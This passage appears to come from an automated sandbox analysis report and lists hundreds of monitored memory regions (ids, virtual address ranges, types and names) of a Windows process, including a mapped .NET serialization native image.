"private_0x000000001b9d0000" filename = "" Region: id = 9323 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9324 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9325 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9326 start_va = 0x1dae0000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9328 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9329 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9332 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9334 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9335 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9338 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9339 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9340 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9341 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9342 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9343 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9344 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9345 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9348 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9349 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9359 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9360 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9361 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9362 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9366 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9368 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9369 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9370 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9371 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9372 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9374 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9375 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9376 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9377 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9378 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9380 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9381 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9382 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9383 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9384 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9385 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9386 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9388 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9389 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9390 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9391 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9392 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9393 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9394 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9395 start_va = 0x1dae0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9396 start_va = 0x1db00000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db00000" filename = "" Region: id = 9397 start_va = 0x1db10000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db10000" filename = "" Region: id = 9398 start_va = 0x1db20000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db20000" filename = "" Region: id = 9399 start_va = 0x1db30000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db30000" filename = "" Region: id = 9400 start_va = 0x1db90000 end_va = 0x1db9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db90000" filename = "" Region: id = 9403 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9404 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9405 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9407 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9408 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9409 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9410 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9411 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9413 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9414 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9420 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9421 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9424 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9426 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9427 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9428 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9429 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9430 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9431 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9432 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9433 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9436 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9437 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9438 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9439 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9440 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9441 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9442 start_va = 0x1dae0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9443 start_va = 0x1db00000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db00000" filename = "" Region: id = 9444 start_va = 0x1db10000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db10000" filename = "" Region: id = 9445 start_va = 0x1db20000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db20000" filename = "" Region: id = 9446 start_va = 0x1db30000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db30000" filename = "" Region: id = 9447 start_va = 0x1db90000 end_va = 0x1db9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db90000" filename = "" Region: id = 9451 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9452 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9454 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9455 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9456 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9457 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9458 start_va = 0x7ff9ff580000 end_va = 0x7ff9ff5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff580000" filename = "" Region: id = 9459 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9462 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9463 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9464 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9465 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9468 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9469 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9470 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9471 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9472 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9475 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9478 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9479 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9480 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9482 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9483 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9487 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9489 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9490 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9495 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9496 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9503 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9504 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9505 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9509 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9511 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9513 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9514 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9515 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9519 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9520 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9521 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9522 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9524 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9525 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9528 start_va = 0x7ff9ff5c0000 end_va = 0x7ff9ff5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff5c0000" filename = "" Region: id = 9529 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9530 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9531 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9533 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9534 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9536 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9537 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9538 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9539 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9541 start_va = 0x7ff9ff5d0000 end_va = 0x7ff9ff5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff5d0000" filename = "" Region: id = 9542 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9544 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9545 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9546 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9547 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9549 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9550 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9551 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9552 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9553 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9554 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9555 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9556 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9557 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9558 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9559 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9560 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9561 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9562 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9563 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9564 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9565 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9566 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9567 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9568 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9569 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9570 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9571 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9572 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9573 start_va = 0x7ffa57540000 end_va = 0x7ffa57879fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\system.runtime.serialization.ni.dll") Region: id = 9574 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9575 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9576 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9577 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9578 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9579 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9580 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9581 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9582 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9583 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9584 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9585 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9586 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9587 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9588 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9589 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9590 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9591 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9592 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 